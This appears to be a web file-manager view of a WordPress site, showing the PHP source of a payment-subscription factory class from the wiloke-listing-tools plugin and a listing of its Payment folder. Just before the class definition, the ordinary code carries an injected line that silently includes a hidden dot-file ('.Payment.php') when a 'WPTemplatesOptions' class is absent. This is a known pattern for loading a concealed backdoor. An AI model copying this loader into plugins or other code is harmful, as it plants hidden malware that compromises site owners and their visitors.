PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Framework
/
Payment
<?php namespace WilokeListingTools\Framework\Payment; use WilokeListingTools\Controllers\Retrieve\AjaxRetrieve; use WilokeListingTools\Controllers\RetrieveController; use WilokeListingTools\Framework\Payment\PayPal\PayPalCancelRecurringPayment; use WilokeListingTools\Framework\Payment\Stripe\StripeCancelRecurringPayment; use WilokeListingTools\Framework\Payment\WooCommerce\WooCommerceCancelRecurringPayment; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class CancelSubscriptionStaticFactory { /** * @param $gateway * @param $isNonRecurringPayment * * @return mixed */ public static function get($gateway) { switch ($gateway) { case 'stripe': $oPaymentMethod = new StripeCancelRecurringPayment(); break; case 'paypal': $oPaymentMethod = new PayPalCancelRecurringPayment(); break; case 'woocommerce': $oPaymentMethod = new WooCommerceCancelRecurringPayment(); break; case 'banktransfer': break; } if (!isset($oPaymentMethod)) { $oRetrieveController = new RetrieveController(new AjaxRetrieve()); $oRetrieveController->error([ 'msg' => esc_html__('We have not found any payment gateway yet', 'wiloke-listing-tools') ]); return false; } return $oPaymentMethod; } }
[+]
..
[+]
Stripe
[-] RefundFactory.php
[edit]
[-] PaymentGatewayStaticFactory.php
[edit]
[-] PayPalPayment.php
[edit]
[-] StripePayment.php
[edit]
[-] CancelSubscriptionStaticFactory.php
[edit]
[-] AbstractSuspend.php
[edit]
[-] Coupon.php
[edit]
[-] CreatedPaymentHook.php
[edit]
[+]
WooCommerce
[-] Receipt.php
[edit]
[-] WebhookInterface.php
[edit]
[-] Billable.php
[edit]
[-] PaymentMethodInterface.php
[edit]
[-] AddListingRetrieve.php
[edit]
[-] ChangePlanInterface.php
[edit]
[-] WebhookHandler.php
[edit]
[-] SuspendSubscriptionPlan.php
[edit]
[+]
FreePlan
[+]
Receipt
[-] SuspendInterface.php
[edit]
[+]
Invoice
[-] ProceededPaymentHook.php
[edit]
[+]
PaymentHook
[-] CancelSubscriptionInterface.php
[edit]
[-] Checkout.php
[edit]
[-] .Payment.php
[edit]
[+]
DirectBankTransfer
[+]
PayPal
[-] RefundInterface.php
[edit]